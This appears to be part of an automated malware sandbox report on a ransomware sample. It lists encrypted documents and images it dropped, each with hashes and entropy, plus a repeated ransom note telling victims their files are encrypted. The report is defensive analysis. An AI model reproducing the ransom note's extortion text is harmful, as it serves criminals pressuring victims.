                                                                                Preview: .}.y.`......gMt]l...g..=R.yla.at..X-.r.......Q*g.Tn.m.+..x"+.........c..+J..[.0.+.-.|Z6....:Wl...^....K.D...<A...>...w4.....AL...b.YHTW.u+..q.0.".`....\s......)M.1...O..`.K.`....."A.>v..ch..S7.8.7.y...$....!3........e,..BRO...40j...Z..x@.../K.G.>.....&...Li..\!I.C..4.|.T#|...Dw..:..?5....Y.W...Z......x......-...g...Z...f8g....L..,.0.1eLC......q..g!|..8p.c...:....1?...\X...a"h........F...a].k2.[..5<PWj\}..QD.1..f...H..t..^(.K.... .D..\C......1]`.............,~MB....I)qi.Aw...c......`b.`[......mR.Y/.FT,z...D.=O1..B....O7w..G......R.2.4-.{_E.x.g......ct.s..B...d:....|.Z.;>..5^F.Hw.......V{............#).Z.d._.b..b..L.B{.Hr...!....l....a......8...D.......*.....%....e.....,76.+x).^.(.\9GMO..I8..8|.. qC7}TlsM....._,].F..q..3......8..L..9.T.+...<`.]0.;D......Uv.Rd..aH....Rjd.eX==.]y\.;l.A~...}.V..e..,.5.;^...>...=..y..$.(o..7....;.8...N.2.J%....a..K#e;.$6........J.......0..x ...P...p."..=r.E...g....CF-.t..nN.}5..w#..RM.J...s$..E0..DyF.H..Y.^.l..u."7
                                                                                C:\Users\user\Documents\NVWZAPQSQL.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.85232829154693
                                                                                Encrypted:false
                                                                                SSDEEP:24:MOMsuqIs9Ew8CQwWjoSHbIJ8pBRDMdOHGz67Y9PGMAllRrTfu/AGY:MOCqJl8xNjoSNbVM+AGiPGMAlPTfu/AN
                                                                                MD5:0FEE8C58D83A06B24DA3AA01461D39F1
                                                                                SHA1:C4FAF9DFD331BEB99BCB53DDAF5B00FFC421DF51
                                                                                SHA-256:6C72E7BF094CD496B58DE10039E5ABE868FABD029E6B3A5A4E094F607A3EFE67
                                                                                SHA-512:50A5981C62CAC4FF7F800FDA976D036253320C5C12E264792EFA0D6C26277C9975A5C8900A7E5AF4EF2EB4F863F4DD6D0F44DEC8DCC2B1CF48C2288CCB4AC451
                                                                                Malicious:false
                                                                                Preview: ...A.....q.....$.2..B;G..7.F...U...&p.M..X.r......|>.....P..hN...u....uv.~*T!{i.J......#.q....].....U=d...........B1.......4.[.z5..T.&7...>.4dc[>J........hy.....#(sg.................P3......M..$..+..0...t(....n.^.?.\.....p..7a..S..q..#.6.8...5f<......k....r...W..8..3..s.C..k...]4.._Q.JC..V.:dsI^.../k..Q~3..a].V....^o9...d]..+.2~/C....$k.D.r...f..*1Og.;.02".`.f"u......k8v....s......N...^.l......{."Y>.x...w.}....b..J....)...Q.....\.....b....*...Cu..h......ol.t..c.6.\.u?a...,.....:..O....ly.NA.+...G.J.......c..3sf.!.P...Kq.'4Y.E1..\......2.....*.........g.6....x-3q...Ml[^F^..<....(...xx..#..4.. .W.F...R.8..H.t.U.w....h.......r).c.b[...=.9..5.5<..g..sw.3....FE..pRB.).v....Y&........0........Z...H..L...q....-...i.7..`....h* .w..E3&.\....3..B....)....y.>..i.L...L2M.f6.T.....M...(.d/..I..M....4..-U....=.2B.d.6~.a.5...[Q..K3.(.P...$.......(.}.lX7.a..9\@n....r.._@r2.t..8...%..i....U$'i..w.ga...c..w.9%./O..O.j.........TCq:A......<....X..K.?.
                                                                                C:\Users\user\Documents\NYMMPCEIMA\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\PALRGUCVEH.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.865692891742633
                                                                                Encrypted:false
                                                                                SSDEEP:24:lhzbo+V0I4YpG+NwoE2AC1j3jl9ohhiO+DRsfG4Q2IrTfu/A/bd8Ef:lhfh4YpGUKkJlOhfcsfG4HaTfu/A/bdT
                                                                                MD5:73DC3503A928663AE0A19CF6310CE26E
                                                                                SHA1:FF851AC1A5B163C0C7C69678BAE23F1A2659F6DB
                                                                                SHA-256:B63C49012C83B41AA2F32B3ECD30CCBD8B89C2F836C2101D634ED760E49A8818
                                                                                SHA-512:C6C57A2B7FF959C9F898D1B7CF28966C8A80FD99BE377D5B2A9D89D58719E403C381F56D1CE6B7BF0B5FA202A69A25B43994385BC8D6E3659120EFB86A5C10C9
                                                                                Malicious:false
                                                                                Preview: ~..c+..l.....iv.m.>....ic...*.h................x..k.*...&U.............{..Y..#.u..7..J2..S..<...t..^...P .+6.QQ~.......*}.iV62.W.c+Kq...........2.KAKW^F..w.k...>mG..(.^....d...B....E......"L.-i?EV.2.'...@.V.....Xe]i^..]....c.._[d.;\...)'...b6...f.*..s.\.Q..7>.#. .4.2&.1.|7..f.4.5:=.3.:..Dq....,.s.........d..0........n.e1Z.%! ...(....-..........P..BDo..Fr..2_..G.3.2m.......x2..X..........T |+....%..Tu.n..WA....d..c...L.E.F.Qk..JSao.|.+..q".EDu..<.gH..F....w)..f...Q.}...{Yv....9......y3.....k...."...q..2.@'.?e.x.g....h..Rs.i.tY3n...d..rPW...f......S.V"s|.8V`....9.X...t..+.........^.|E.[kr..=j...y...0Y>s ...aH..ju&).*.......t.6!G.!.......I.P...E..RR..q.$u..>.Z........K..w...O..JP....7...h.I.T.``^=.*.].wS....o.EF..C....]..;..m|...v..u....e.-.....nfN.. q....v.).]s.Um?s..Y2.....g....D.Sk...>.S.H.mw.!....*P..).M...u..GF!....9O.....x..UV.7....IN}TR.[..8..j.u2i..F.f...D%...M.uV..vtS..*...f.Kl1..8~.....4)..>L..4..dp...1...u..I87..>@.F..EMYv.S
                                                                                C:\Users\user\Documents\PIVFAGEAAV.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.82504321916274
                                                                                Encrypted:false
                                                                                SSDEEP:24:9qY3+/8/nx63MEtVlaXrT9h+DjP0d9etTj+on3RRrTfu/AwBGh:9dB85tVlaXbaPsSTj+kTfu/Adh
                                                                                MD5:C98A1B1C0010D3339B07FB31830B4D05
                                                                                SHA1:9AD57106CEC283CC53CA60FE35D458F1C4304F66
                                                                                SHA-256:E685CDF6143ABBD129F8C84A100897A282E1FFD18370A81BAD032D63E84DE8C5
                                                                                SHA-512:2E716207D02E498B681F199FE9C6ACC0A6C31903C5160F30BC4099867329C788313AED6936924E3D1D8F143DAAA1AA2C71D622B9CF19E6837A262367ADB551B7
                                                                                Malicious:false
                                                                                Preview: .(c_."....~d....g.B....5.....W......*..Y.%..Q.........0.U..]............t:......Q2..pl...(V.Uw.!$74g......R.n....&.BA/..Z.S!.MP.{no...6axR.../..e..... ..}^.qMK.G. E..K...D.......|..S{;NzT$L{...j.v>...........c..N..e@q.e.W....b.N.v.h.~I .}*NUa.L........aC..9..@0W.....f._.%.0..|...r..R<...S.F.T.b.h.i.....I.^. .Z...b..P...K..m...........-..Z.2....h.~.+K.5w.T%.[.`8..Pf.y.~B..uk.&i...L\y4m.".....V6%...e}.l..Vh.as....I>..|.]....R.......f.. .:.....!S.>7....#.'.`......;..Q.c..N.kE.".UZJ.$:w.9.W.q^....].)...e..G5[._..5......@...|Lu.B.H.......H...f.]j......9...J.^....1...d.,@H.*}H.....p.6..."........KJ.....nYP.aV....J%..G...8Di..8......f...1<..Y)..]......7^...'..."..Y..c.q...(31.&..Q`m..YD..f2m..R9R..A B...{.. h..E...?...?...O.P\2c:.rY..cJsJm{.h(...]."....X.k#.\..p.A.C.5.u.A..j`... ...+a........e2..f..p....p\wIUm..~.q^.E..{O{fh..k..[.....Z.....'p^yR...2.KD....W.F.T.. ......Li..K..9.......,.".t.....0..R; icD..R.-....]n..XS...k..B(./..w...^..h....A.
                                                                                C:\Users\user\Documents\PIVFAGEAAV.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.842180664182194
                                                                                Encrypted:false
                                                                                SSDEEP:24:k4i2Sb87Qf8Q7B4+Z8RiWrE8q0lSJPxnxVcGa8brTfu/AML:tZG38RiWrE8q/JPxxKGayTfu/Aw
                                                                                MD5:9C2082D620DDC64A202792D9DCF950D5
                                                                                SHA1:118801BA25C0C1B96790A500E909E25C5DA39B56
                                                                                SHA-256:F0FD39856719595095658C6AE63BAF95C5D3CB384B2CF3C586BEFD41D8E6B0AF
                                                                                SHA-512:3FA0D52A49C3CCBEA30526383C054BE249D7064468F2D466E2EEEE32959C05D9C3EFE6B520F482236C9A2A4466ED6A9B40E2E335CAABCA66402952440D28AC17
                                                                                Malicious:false
                                                                                Preview: ....k........h#g.Y.7...oc...1I...Y..Y......Ro..m...=CQ............T...M.......0..:xam4SxQ......6..?.YK$g....6E.!'....d=/.S..I....,d.[.w^....z..k.*...HFY'b_.....>......k."`r-U.Q.r...s8..CW.;..-o`!..i..T...j.c)......^..q#....dg.......*$.....F..v7...........g1..u..L..5{....bS...........tT%.R...;2].A..........S......l....PDR....\..Z-.. ..D+...(/.i..B..Hsc.#..nIR..T[....6.,l..=8g(..B.`..PxMN.[...~..,."*.W..-.....1.4._aB.G=+.....*G 2.....W..5...5"......]<..rnD.t,o../..V.@..w.r..U..........cF.S.@..A#y&.!...*.XQB........Cx..%[.W.+...=.6.....h.S.L#o.g.... jS..H...9H.,. ....'4..h..Lk).h84uga.>...`.o./O5........}}@....S-......0.m....BMQ4.^...y?...6..G-]a... .q....&M...R%......{;.....3.'.....6.Ad....D..@?{J;..-..-5,.[...TM...'....:.{yEd^...!.>.CC[...........7..o.,.i...|q.....G%..FS3U.. .v.[.'...8p..+6.k..n.XKV.../f#m.....M.f5.l..mu..=+.P.....B{.....O...8l.jNZ$....u.W...'...5.;...A[.>.Pd..O.....6..F:i.0Iv.....=.5......./Nf*.......n$I...d@. ..7..
                                                                                C:\Users\user\Documents\PIVFAGEAAV\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Documents\PIVFAGEAAV\EOWRVPQCCS.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8608053351506575
                                                                                Encrypted:false
                                                                                SSDEEP:24:UGLwQGIxiwHAFL8dWxkPBKFkvBELInU4VNEGTYWZ6eF+rJmJpYHrTfu/AOmSG733:0I7HEkJQXMnbV65LTfu/Ah53
                                                                                MD5:8DE54DCDD98AB6FF1779EEFC64B8D444
                                                                                SHA1:57BA0C8C321E320B7A7974DBFD135D5ADF5BF30E
                                                                                SHA-256:464FD329BD08528B2379E1B3149FF47EF851080F0D319050C13499EA0AAA3E9C
                                                                                SHA-512:D4334D51F477992C2AF2366652980C9C19F29B600E14762C127A4906B0435DE05F792BC3CA92C22F7731F72B23A1F9DE7334F35370220E3FD9EE8AAFEE2EF271
                                                                                Malicious:false
                                                                                Preview: .z.......8...BL....np4..^t..&.nt(..ID.+N.1LP..1.f.;.,I.n.R.-*7..r...E...c..}.....'U. @..i.RqY... ...f.]|..G.'...\.I.7......F.V`%(.f.u1.7.O(.......pt...X..\.8....6v.%wZ.-.x.9..aw..@.......J.`}..U.f&....6...8(Oj^.MH.[Toa{..^..ui.Cj..rQ......j.=T.4..yA.i.w...{....d.t..b_M@.#..S9q'..z......*...R$.<Hnb@..q....u< ]cQ..ZDc..f...6..8...uW6... ..O#.9+. ..............:...B..fw..A-...P.+.....|7>.*."...s..t.]...../..D..(..\..y....RC.]..i.'.K#......m2m.b....X.pU....v/...S8=..."(.....nK .D.Rk.>.a..... p.hd.....l..4w.uLB.a........!....j...kt.....rvC.:...`...i....9.H...xU/..<....?ux.Q"G"sbV..v<I7....M.....Q.(..........:^.....xy........9.e-.|..wf..0.Jp..G.....O...X....{.9l./"l...?...xW./.bz0<5......}.c2.-.{>!..R.v|v....M.4.....q/$g,......".......b:R...&...Np.=7..1`E......|sY..w..Qg.Z..5..?.....52..F..X..S..&.....L..6..Y.a.7*R...x...........\.e1..0..............>a]X..gJ.....m}.Y.&i..Ou..KR-U....gB.).......>.-..`.T...O.`^.........Jw.....@.z..R
                                                                                C:\Users\user\Documents\PIVFAGEAAV\GRXZDKKVDB.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.853098029860886
                                                                                Encrypted:false
                                                                                SSDEEP:24:taQyoykc+UpZVxIbYhP9hGSNSRix82C5C10uxZrTfu/AH/f:IyZUpZVxIGHNa2CcrTfu/AH3
                                                                                MD5:8A5E706002174A71CF0ECD3BCC723CC8
                                                                                SHA1:6BD72CA061D0BE256778A2359C265790E37370EF
                                                                                SHA-256:C683A3832D171961FB8C5074239B0595C4BEE7329AE7ECC12F6C416B1DABEE69
                                                                                SHA-512:5E663C31161F840622F908B895AD9126834FF9A5721E12CCC15A8449BB371DFAF956B2F154D47438E594CF12FE6A933E2A768CF8EC1B3D924C088446253FA243
                                                                                Malicious:false
                                                                                Preview: ....5@JF{.+^!....{r..].{...,..h.'...^.......u...N.7jP.S.....i#..A.|X..<.A..+b6.Y....+1E..~i.YY.....D.&.U.Za.C6..30.#|h...{..:..B.....x.z.{........Q1.G....s(....s.,..J.!...8.=...%.....y"}.'......N....R.O.H. .w..<....#.....Ro.kV..ASM....1...e...D......t...?.j...~.P........br`....cI8...0.1*"\7....P...)1.4<.L*3.hT,aV.P4sm6....8.....\..c.T.{r...Z......A.G......$T.....03.....B..:.....`.Z....F..`D.AZ.e...i.?./.-;.9.}.+^uVH..q.dR._......qe0.4~w.....2.Z_...{..]OV.F..I"2..'..@..3`N.....Y....4..../..&...F-.... ..%....C$.zF.....!C.....u.$.....P1./f..........Z=!_T......G....Yb:..X......C..=....:.+.9.{.u..:|..._.E.m...`6vL.6`.5F0..G..Epv..q../..].....D..{.w7......7S.v\....W....F...J.>f..C...5..h._.2.M....z.W.Y..V...q......x.b.F.......;.x{.OW..Z>..6...B..6.h5s......lL..Sc. ;...Q.L.+4....0mC.LZH...../mq...`.5..Z......1^h|.;6....&.j."...6H.{..Nv..-^,.b.....K|@..[we...Yf.E../........#^.....s....X...yIX....d.....x.{X.Zt..h..B1.....TX%.2..k.....
                                                                                C:\Users\user\Documents\PIVFAGEAAV\NVWZAPQSQL.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.852576949476461
                                                                                Encrypted:false
                                                                                SSDEEP:24:qzxmzHTuy0+8lEdFwFTTbDA5oo3+3AH1LJz1avLg/5ArvQy2l9eDrTfu/AvwJn:qzx8P048hTb82o3+3kd405A0neHTfu/Z
                                                                                MD5:D744C14893A3E6DBA06D58E8C865EF74
                                                                                SHA1:E1A6606B3731DFA92CB9DA2C241EAB1132A47865
                                                                                SHA-256:EAEE298D271FA1DC278E2989F70AE2814F5E16D980B5A1B8FD9CE62B098B3095
                                                                                SHA-512:FADA590FBEDC66ACE786A33CB23437024DF90E776BE8DC7CD69B30C301AA471C4A7A35E3862EDBAEFBBCB66F6B8192CC8E6353B761C1DD0E4508D2ABA583EA4D
                                                                                Malicious:false
                                                                                Preview: ...4g......h.;..\>...{.n.....<.T.`....."..\.j......).......a..j..\..o..t.}..z.!.<..wT+`.^.`./PC.D..E..#...e..`......6=3......r3.....(.1l.~g&...Q.]..^q.".T...@....uXr..so. EV..5i"m.0..`.O...........BqI3...".VN.v.2.+.~...O..&]....].Qj..3..{..........7..6Q_....>..'......)....6w..........,...*.....U.>3.^sq..&...t`..U....+. .n{^.....U......lg..$yS....=T..bT^H.r.....F{..i..h.yM..Ot}.~[3|....I/..r..."JU/...v.......D.2.....X.W...[{.I.....lw.......e.P..*.VJ...??c.G..;..]6..XF......B...{;......X.V.0i..v..F.l:.....c............;..b......=...5.....Zz..n..Bqn.|..S=u.~."..}.}a6...k.Z(!..e.n..0.b.\.......nM*tE..H|..-..7..ux.e4pt.i9|.:6nWy..&C. _.[.-.Q ......4.....w..q.)a)...[U...q sQ..i..O..+b..KY..f.......F.^5.Q.6F..b..f,V.\..w........;..R.......d.b.n...w.j...._..|'.w.!....."eYW....4V...t...AU..tw...5.s...K.N v..~..[.../.L...xjV......H..RW.....^.....].4.-.E..Rfi`.+)....s..I...~.............Z..)....1....B.R..n5.".Aa^.....N.Y.gV....w.>.7..
                                                                                C:\Users\user\Documents\PIVFAGEAAV\PALRGUCVEH.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8348651128642075
                                                                                Encrypted:false
                                                                                SSDEEP:24:SqoonUiN0/eEXXh5VzyqD4bu1BXzzPpzrDTh9vRrTfu/AlbN:ShoW/XXhDO1bCDzPF7ZTfu/AtN
                                                                                MD5:8E2BEAB9928C2B5E83E974D7D8D7E087
                                                                                SHA1:04EFAF20A0518993B5426AC00150B0CD5FB4E936
                                                                                SHA-256:663C55BDD138A59408E864C6B48B30287375480C17909E3267DCE181BCDD5881
                                                                                SHA-512:55FC8410EF601387CECEB37281AB7A0BAD2AAE50AADE76EFAC707236BB4E881C79B476C99456492E4A34AFC55DF99CF1607DCCBB904F82AE757FA379B8625EBB
                                                                                Malicious:false
                                                                                Preview: V4.{y....].s.s.?[.k.....H..iY.....;.....5.H.R.|Q.s)].Sx..sS.L.ZZy..+B..+.h&k.._........b.E..N.....j...&....A+..L.Q..Y..m.@yY..2...x.....m_.6......`+.8.]..u..q...TEW.Voq..@Hv&s.)2..-....&w...|m....^[."...s.u.?DR.N.z.q...]@..DQ{#..W8%.Lp.j#<.i...B...Tr.y..J&.b.gV.o$E..j..g.+.}.D...b.....&....t.Cb...*......S...*..J:G..>3.RI...JS2s_.xm.Z(..8r.|.8C?B.......O.7Gi#./..\R%..O...]`.A.........e.c...o.....Y...G..tR|..1a..j7v....:/........S.".c._;.........#......3om]..1^.......g%.2....)..K.}....5........aS.....&m...=.UQ-@..[.Z.w.cB.?:....4"=].j..0...m.[.V.d......p..z>.gy.[g.*.".C.....\*.p..R.K.......<*.[.P...1...r.R......g2n.db.#.aW......t...z....x.8.%.u|........huIr.......g..&%y~....}.......)..5.T..2....Jor1.-h.iCa....w...........j......3.HM.h@f.k.<.gXh..".....4..W8gq..xb..)..6./...~I.nv0o..A.....rD.]z.......#...sY...4)..!....>Mk.d)..........]..GB...1.b..q....|sX.....(X$".g^bNg.:..A.'.b4I......d...\.gfF-w....+..b.+.....<...G....5U\T..!.K..V}..a....
                                                                                C:\Users\user\Documents\PIVFAGEAAV\PIVFAGEAAV.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.829574564020459
                                                                                Encrypted:false
                                                                                SSDEEP:24:03mGlQPJ0ihztNIHhokFuiv+Lp4kio+YTj9nBdeEoirTfu/Awaq:03mGlQPJ0izNOFVWLiro+69n6VITfu/T
                                                                                MD5:C934DB31ED2D875CD762F5C893A4B108
                                                                                SHA1:33BAEA9C40A14F6B8ACF3394EF0F9885E8B215F4
                                                                                SHA-256:8735E485049F36E6AE29D6A082F503729866D1C7DE8F4F84790138C96F59BCE5
                                                                                SHA-512:32D9F53738154EAF236134A172828C714612A9F2B501301A87AAFFA0EDE912895C9433F6FE2639F2B0B83155CA452C70936CF0A50CC9E5A9A57C3E5A1AA73771
                                                                                Malicious:false
                                                                                Preview: .uf.X...(.P...9....PF2."p!m....9.1GsTt...d..NR2.?M......z..;....J~..'......}.g.Hz%`..X..rud.A.B?R.....].B....g..~.....=W./.t..-.......JI.o_.'9....V..".F...Lt..(...\5at....2..M|DR.....Sza.=Tw..03..1..*.1..?..1.........{...C#?-......$mFE..1.....f.....4*...H.....I..f.n.c+.....S(.........I........S.4I...?...[.%....eaWoJq..H..o ..X.0.E.%.,.B.I...=........*.&c.....0...T1....47w..R.....:AD.?.]T..&..g.J...n@.Agi_.Sc...7."|gU.i......\+&.}X.......gN<29.O.......9.O.f..1Q.B.K8_+'..i.T..0Y.....&.....$....%H..vs...0,'a....w..;.*.2.+.......6z.._66.!........](#...V...U>.3.g$D0...f...|&<L...tk...'27.`X&.Z9..OZ. ...s6......z...D.i..F...j$....JO......G-..J..h.......@#.K.u#.....U_..X..qcf1..n|.....X.n...5/Lq....o.3e.G.i.oO%.^.....7.n.G....oA..kng..\..f.SK...@..S.b..h,:.*..v.....Kl.6H..7}. .n.vAo4..m..;`g..;..w.g...%..x....0...Ce....3..h...sUB.r.9..W..93.$...e...1V-WN.".2^...~.[.....r..$.wz.;.-.`..V6.)..s..%.=......I...b._..X..L......J...J.....n...].._5..]
                                                                                C:\Users\user\Documents\PIVFAGEAAV\SQSJKEBWDT.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.843447529389986
                                                                                Encrypted:false
                                                                                SSDEEP:24:SJhGwsXtyk1FcNdQhjh6M33c89Qfp22E+zDwSNmW3jrTfu/AvSz:Shc9CQ1hTc8KlzDwGmqTfu/Avu
                                                                                MD5:6CD9B3F4CA3A397EF3FD18EF48D3BD85
                                                                                SHA1:7F9402AAEA3F289FEDB73CEA0AAD07B23FAC87E6
                                                                                SHA-256:DB281FCBAB009EA8F17D3815112B6ED3008FB55DB6CE71158135BD1B70653DAE
                                                                                SHA-512:597C4D56090EB11666118C96902DF888D4E454BF0383FFDAF23E8E117884EE30A75464DE8BE6BFEE98F5708A642DC57975F3040D557F951F9B0D9433CF1FF802
                                                                                Malicious:false
                                                                                Preview: P...F...1P.i.E..k~..*. ...x. .......].T.B.../....>..8./.."...9.B.c...... ..9.c....i$.&.M....<.....*.....3.'....2....2Q)5!2..b.z..A.JP ..+O.....H..S..^8...xnh1..c.....@.d........`O...e."W.{.8v. !..U...h..3...._lzC..-k.d....Q.Q6.@..I7...~-.(..Z~..0....S.R..C9Zl..v.....\.$Z....g2..}.|Qj.edSP$....gO].....~..*.MP....D....l....1../...G,.....B...F.k_..v..L..h.....N(=..."0..S...K..io...)...a:..z.F.e..X...N.\.%......E..o...V.H.7.s.....S.Q..l>.k....@....#\T1..OzS;.R...Bh.....h...ZQ..f|..S.'Ho\....G.1....0|I.D..."..AGN....;_.Pf%.N.?......[/......W....uG.q.X.4.rX..S.~...].9x..V.=G...4yl.N.:.0..sX.."f..N..M......H........G..N.6.....H..!kY...gTZ.o..bCN,W<..f$...A.....c6YmEvq..s.....D~}.ev....q...7...:Cv...:....1..6=...W%.W.!d...5p'W..@].:..e...|>....H.....%....e.Y..Zk...;.....1X...%....D.....vf..F).).r.D..(........W2%...p.6.S'.Cx...RX.D..U....z...X....{..m.....p.D...2.+..1...-tT...6~1..]...)....&b...~.>@...wU.U9...(..ihTX=p.v.L.-n.Z(.if...y....9....
                                                                                C:\Users\user\Documents\QCOILOQIKC.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.834639617633002
                                                                                Encrypted:false
                                                                                SSDEEP:24:+WhTMNu55nBN+VcyITMLKQbtLlXMQdn3uoZXn8brTfu/A+GbU:+WhEunnjT34LBbt5Mg3uE8vTfu/ABbU
                                                                                MD5:DCCB020A68450BF52E8FD06BD91C820B
                                                                                SHA1:75F8E379F8CF06CC455102CAD6C35254A42DCAC8
                                                                                SHA-256:F521600D89A43002840142DFFE8F53CCF2579907430D086CF46342F906F43FE3
                                                                                SHA-512:E51768A9A96D0B27AE19ADFC2E590EFCA9E4BCCA247DCE5F9ECE238F9077952373530FA5C2E17C5CA3EA0BB58F0599EA01120C114BB51D70E064E67A9E672472
                                                                                Malicious:false
